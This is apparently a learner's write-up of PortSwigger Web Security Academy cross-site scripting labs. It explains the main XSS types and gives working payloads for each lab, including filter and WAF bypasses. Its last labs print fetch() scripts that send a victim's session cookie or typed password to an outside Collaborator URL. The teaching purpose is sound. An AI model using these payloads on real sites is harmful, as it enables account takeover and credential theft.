Cross-site scripting (XSS) module - Web Security Academy - PortSwigger
In the Cross-site scripting (XSS) module note, we will discuss about the definition of XSS vulnerability and some basic concepts of XSS.
Brief Introduction
What is Cross-site scripting (XSS)?
This is a web security vulnerablity that allows an attacker to inject malicious scripts into websites. These scripts run in the browsers of users who visit the affected site. XSS bypasses the same-origin policy, letting attackers act as a victim - accessing their data, performing actions on their behalf, and potentially taking full control if the user has high privileges.
How does XSS work?
Cross-site scripting works by manipulating a vulnerable web site so that it returns malicious JavaScript to users. When the malicious code executes inside a victim’s browser, the attacker can fully compromise their interaction with the application.
Types of XSS attacks?
There are three main types of XSS attacks. These are:
Reflected XSS, where the malicious script comes from the current HTTP request.
Stored XSS, where the malicious script comes from the website’s database.
DOM-based XSS, where the vulnerability exists in client-side code rather than server-side code.
Reflected XSS
Reflected cross-site scripting (or XSS) arises when an application receives data in an HTTP request and includes that data within the immediate response in an unsafe way.
Suppose a website has a search function which receives the user-supplied search term in a URL parameter:
https://insecure-website.com/search?term=gift
The application echoes the supplied search term in the response to this URL:
1
<p>You searched for: gift</p>
Assuming the application doesn’t perform any other processing of the data, an attacker can construct an attack like this:
https://insecure-website.com/search?term=<script>/*+Bad+stuff+here...+*/</script>
This URL results in the following response:
1
<p>You searched for: <script>/* Bad stuff here... */</script></p>
If another user of the application requests the attacker’s URL, then the script supplied by the attacker will execute in the victim user’s browser, in the context of their session with the application.
LAB: Reflected XSS into HTML context with nothing encoded
This lab contains a simple reflected cross-site scripting vulnerability in the search functionality. To solve the lab, perform a cross-site scripting attack that calls the
alert
function.
Type hi in the box and click Search, the notification returned indicates that the search
parameter’s value is reflected.
Now, we only need to inject the below payload:
1
<script>alert(1)</script>
Stored XSS
Stored cross-site scripting (also known as second-order or persistent XSS) arises when an application receives data from an untrusted source and includes that data within its later HTTP responses in an unsafe way.
Suppose a website allows users to submit comments on blog posts, which are displayed to other users. Users submit comments using an HTTP request like the following:
POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Length: 100
postId=3&comment=This+post+was+extremely+helpful.&name=Carlos+Montoya&email=carlos%40normal-user.net
After this comment has been submitted, any user who visits the blog post will receive the following within the application’s response:
1
<p>This post was extremely helpful.</p>
Assuming the application doesn’t perform any other processing of the data, an attacker can submit a malicious comment like this:
1
<script>/* Bad stuff here... */</script>
Within the attacker’s request, this comment would be URL-encoded as:
1
comment=%3Cscript%3E%2F*%2BBad%2Bstuff%2Bhere...%2B*%2F%3C%2Fscript%3E
Any user who visits the blog post will now receive the following within the application’s response:
1
<p><script>/* Bad stuff here... */</script></p>
The script supplied by the attacker will then execute in the victim user’s browser, in the context of their session with the application.
LAB: Stored XSS into HTML context with nothing encoded
This lab contains a stored cross-site scripting vulnerability in the comment functionality.
To solve this lab, submit a comment that calls the alert
function when the blog post is viewed.
After submitting a comment, a POST request is sent, then reload the website and the comment is displayed.
Now try submitting the below script as a comment:
1
<script>alert(1)</script>
When click on Back to blog, there’s an alert appeared.
DOM-based XSS
DOM-based Cross-Site Scripting (XSS) occurs when client-side JavaScript takes data from a source under the attacker’s control (like window.location
) and passes it to a vulnerable sink (like innerHTML
, eval()
, etc.) without proper sanitization. This allows an attacker to inject and execute arbitrary JavaScript in the victim’s browser.
A website is vulnerable to DOM-based XSS if data from a controllable source (e.g., URL) can flow to an unsafe sink (e.g., innerHTML
, eval()
) without proper validation or sanitization — enabling malicious script execution in the victim’s browser.
The document.write sink works with script elements, so you can use a simple payload, such as the one below:
1
document.write('... <script>alert(document.domain)</script> ...');
Note, however, that in some situations the content that is written to document.write includes some surrounding context that you need to take account of in your exploit. For example, you might need to close some existing elements before using your JavaScript payload.
LAB: DOM XSS in document.write
sink using source location.search
This lab contains a DOM-based cross-site scripting vulnerability in the search query tracking functionality. It uses the JavaScript document.write function, which writes data out to the page. The document.write function is called with data from location.search, which you can control using the website URL. To solve this lab, perform a cross-site scripting attack that calls the alert function.
Let’s type a alphanumeric string in the search box. Then, let’s use the inspect function to check how the sequence is processed as an object.
Searching for the input string, we receive a script and an image tag with the source contains the searchTerms
parameter.
1
2
3
4
5
6
7
function trackSearch(query) {
document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">');
}
var query = (new URLSearchParams(window.location.search)).get('search');\
if(query) {
trackSearch(query);
}
The script takes the parameter’s value from the URL using URLSearchParams(window.location.search).get('search')
. Then, the trackSearch
function insert an image tag to the page.
The query
is not properly handled, so we can inject a second attribute to the img
tag. Using the following payload:
" onload="alert(1)
Write a single quote before the onload
attribute in order to finish the src
attribute, and there’s not a quote after the alert
, because the rest quote in the default script is still existed.
LAB: DOM XSS in document.write
sink using source location.search
inside a select element
This lab contains a DOM-based cross-site scripting vulnerability in the stock checker functionality. It uses the JavaScript
document.write
function, which writes data out to the page. Thedocument.write
function is called with data fromlocation.search
which you can control using the website URL. The data is enclosed within a select element. To solve this lab, perform a cross-site scripting attack that breaks out of the select element and calls thealert
function.
Let’s check the code, we can see that there’s parameter called storeId
, it is not displayed in the URL. Then, try adding this parameter into the URL and see how this parameter is handled.
When adding a random value, there’s one more option in choosing store to check stock.
We pay attention to the script:
URLSearchParams(window.location.search)).get('storeId');
document.write('<select name="storeId">');
Try the following payload, including
"></select><script>alert()</script>
The first single quote to close the name
attribute, </select>
to close the select tag, then adding a script tag to make an alert.
Let’s see how is the payload handled in the script:
var stores = ["London","Paris","Milan"];
var store = (new URLSearchParams(window.location.search)).get('storeId');
//store = the full payload = "></select><script>alert()</script>
document.write('<select name="storeId">');
// The new written line: <select name=""></select><script>alert()</script>>"
if(store) { // true condition
document.write('<option selected>'+store+'</option>');
}
for(var i=0;i<stores.length;i++) {
if(stores[i] === store) {
continue;
}
document.write('<option>'+stores[i]+'</option>');
}
document.write('</select>');
The redundant string >"
after the new written line will be seem as extraneous character data, and will not lead to a syntax error. This is about error-tolerance in HTML parser.
XSS contexts
When testing for reflected and stored XSS, the key task is to identify the XSS context:
The location within the response where attacker-controllable data appears.
Any input validation or other processing that is being performed on that data by the application.
XSS between HTML tags
When the XSS context is text between HTML tags, you need to introduce some new HTML tags designed to trigger execution of JavaScript.
Some useful ways of executing JavaScript are:
1
2
<script>alert(document.domain)</script>
<img src=1 onerror=alert(1)>
LAB: Lab: Reflected XSS into HTML context with most tags and attributes blocked
This lab contains a reflected XSS vulnerability in the search functionality but uses a web application firewall (WAF) to protect against common XSS vectors. To solve the lab, perform a cross-site scripting attack that bypasses the WAF and calls the print() function. Note: Your solution must not require any user interaction. Manually causing print() to be called in your own browser will not solve the lab.
Try injecting standard XSS payloads, such as:
1
2
<img src=1 onerror=print()>
<script>print()</script>
Observe that this gets blocked (“tag is not allowed”). We will try making a brute-force to find out allowed tags.
Changing the value of search
parameter into: GET /?search=<$$>
and add brute-force value between <>
. We will use the tag payload designed by Burp.
We can see that the body
tag returns 200 OK
. We will use it to inject script. Next, we will continue making brute-force to find out which event can be used to inject print()
function. The parameter will be: GET /?search=<body $$=1>
Because the LAB requires us to perform a cross-site scripting attack without any requirement to user interaction, so we will use onresize
attribute, and force the site to be resized using onload
attribute.
Moreover, we will use iframe
tag to embed another document within the current HTML document.
The full payload will be: <iframe src="https://0a4a00b0036ca5cc801e039200fb003c.web-security-academy.net/?search=<body onresize=print()>" onload=this.style.width='100px'>
The value of onload
will be any action to resize the website’s window.
Paste in the body of the response and the LAB is solved!
LAB: Reflected XSS into HTML context with all tags blocked except custom ones
This lab blocks all HTML tags except custom ones. To solve the lab, perform a cross-site scripting attack that injects a custom tag and automatically alerts document.cookie.
Write a script containing a custom tag, for example:
1
2
3
<script>
location="https://0ae80082040af27780216caf000f00a4.web-security-academy.net/?search=<custom id="x" onfocus="alert(document.cookie)" tabindex="1">#x"
</script>
Explain for the script: We create a element in a tag with the id x
, and it can be visited by tab (tabindex="1"
). The search
parameter contains #x
, it means when we go to the URL, browser will redirect us to the element x
. When focusing to this element, it triggers the onfocus
attribute with the function alert(document.cookie)
.
Encode it and paste to the Body part. The LAB is solved!
XSS in HTML tag attributes
More commonly in this situation, angle brackets are blocked or encoded, so your input cannot break out of the tag in which it appears. Provided you can terminate the attribute value, you can normally introduce a new attribute that creates a scriptable context, such as an event handler. For example:
1
" autofocus onfocus=alert(document.domain) x="
The above payload creates an onfocus
event that will execute JavaScript when the element receives the focus, and also adds the autofocus
attribute to try to trigger the onfocus
event automatically without any user interaction. Finally, it adds x="
to gracefully repair the following markup.
Lab: Reflected XSS into attribute with angle brackets HTML-encoded
This lab contains a reflected cross-site scripting vulnerability in the search blog functionality where angle brackets are HTML-encoded. To solve this lab, perform a cross-site scripting attack that injects an attribute and calls the alert function.
Hint: Just because you’re able to trigger the alert() yourself doesn’t mean that this will work on the victim. You may need to try injecting your proof-of-concept payload with a variety of different attributes before you find one that successfully executes in the victim’s browser.
It’s easy to know that the search result is reflected. Use the following payload:
" onmouseover="alert(1)
Explain the payload: The result passed to back-end will be between two quotes " ... "
. The first "
in the payload is to close the initial quote, then we add the onmouseover
attribute to trigger alert()
function everywhen the mouse is in the search box. The alert(1)
function has only 1 quote "
because there is still a part of the initial quote in the end.
Lab: Stored XSS into anchor href
attribute with double quotes HTML-encoded
This lab contains a stored cross-site scripting vulnerability in the comment functionality. To solve this lab, submit a comment that calls the alert function when the comment author name is clicked.
First, post a comment for testing reflected content. There’re 4 fields: comment
, name
, email
, website
. The value will be test comment, test name, testemail, testwebsite respectively, for example.
Reloading the website and looking at the GET request for the comment section.
We can see there’s an a
tag in the request: <a id="author" href="testwebsite">test name</a>
.
The website field is reflected as the href
of the a
tag. Now we only need to trigger javascript code in the website field: javascript:alert()
, then the lab is solved!
XSS into JavaScript
In the simplest case, it is possible to simply close the script tag that is enclosing the existing JavaScript, and introduce some new HTML tags that will trigger execution of JavaScript. For example, if the XSS context is as follows:
1
2
3
4
5
<script>
...
var input = 'controllable data here';
...
</script>
then you can use the following payload to break out of the existing JavaScript and execute your own:
1
</script><img src=1 onerror=alert(document.domain)>
Lab: Reflected XSS into a JavaScript string with single quote and backslash escaped
This lab contains a reflected cross-site scripting vulnerability in the search query tracking functionality. The reflection occurs inside a JavaScript string with single quotes and backslashes escaped. To solve this lab, perform a cross-site scripting attack that breaks out of the JavaScript string and calls the alert function.
First, as always, search for a random content. Then look at the GET request and we can find out the script contains the reflected content:
1
2
3
4
<script>
var searchTerms = 'hi';
document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
</script>
Skip all syntax issues because the HTML parser will cover it, we only need to close the script tag and make another one to trigger the alert
function. Using the following payload:
1
</script><script>alert()</script>
Lab: Reflected XSS into a JavaScript string with angle brackets HTML encoded
This lab contains a reflected cross-site scripting vulnerability in the search query tracking functionality where angle brackets are encoded. The reflection occurs inside a JavaScript string. To solve this lab, perform a cross-site scripting attack that breaks out of the JavaScript string and calls the alert function.
Response contains script:
1
2
3
4
<script>
var searchTerms = 'test'payload';
document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
</script>
Using the payload:
';alert();//
Explain: The first character '
to end up the string indicator before. After that, add a new command by using ;
to split up between commands and adding alert()
function. Then, end up the command added by another ;
and //
to indicate that the rest parts are comments.
Technique to bypass string escaping: Some websites have function to escape characters to indicate it as a special character. For example: '
is converted to \'
to indicate that '
is a special character.
A backslash \
before something indicates that this part is a part of the whole string. So, the '
added in order to close the string indicator, cannot do this because it is treated as a normal string.
So, we have to add another backslash, so the full payload will be \\'
. In this case, the first backslash indicates that the rest \'
is a normal string. So, the final string contains only one backslash, and we success to close the string indicator.
Lab: Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped
This lab contains a reflected cross-site scripting vulnerability in the search query tracking functionality where angle brackets and double are HTML encoded and single quotes are escaped. To solve this lab, perform a cross-site scripting attack that breaks out of the JavaScript string and calls the alert function.
I have searched for the payload: test'payload
. Looking at the response, we can see that the '
character is escaped.
1
2
3
4
<script>
var searchTerms = 'test\'payload';
document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
</script>
As we discussed above, we only need to add a backslash before the payload. The full payload will be: \';alert();//
.
Exploiting XSS vulnerabilities
Lab: Exploiting cross-site scripting to steal cookies
This lab contains a stored XSS vulnerability in the blog comments function. A simulated victim user views all comments after they are posted. To solve the lab, exploit the vulnerability to exfiltrate the victim’s session cookie, then use this cookie to impersonate the victim.
Generate a site from Collaborator, then paste the payload to the comment box with the following syntax:
1
2
3
4
5
6
7
<script>
fetch('[url]', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>
This script is used to send a request with user’s cookie to the site. View the request in Collaborator and obtain the cookie.
Send the GET request for the Home page again, but change the session’s value to the obtained one. The lab is solved!
Lab: Exploiting cross-site scripting to capture passwords
This lab contains a stored XSS vulnerability in the blog comments function. A simulated victim user views all comments after they are posted. To solve the lab, exploit the vulnerability to exfiltrate the victim’s username and password then use these credentials to log in to the victim’s account.
The context is there is a simulated user will view all comments after posted. So, the idea will be creating a login form when view our comment, then the simulated must login to view the comment, and we can obtain the credential.
Generating a site from Collaborator, then using the following payload:
1
2
3
4
5
6
<input name=username id=username>
<input type=password name=password.onchange="if(this.value.length) fetch([url], {
method: 'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
Then we receive the credential from the request, use it to login and the lab will be solved!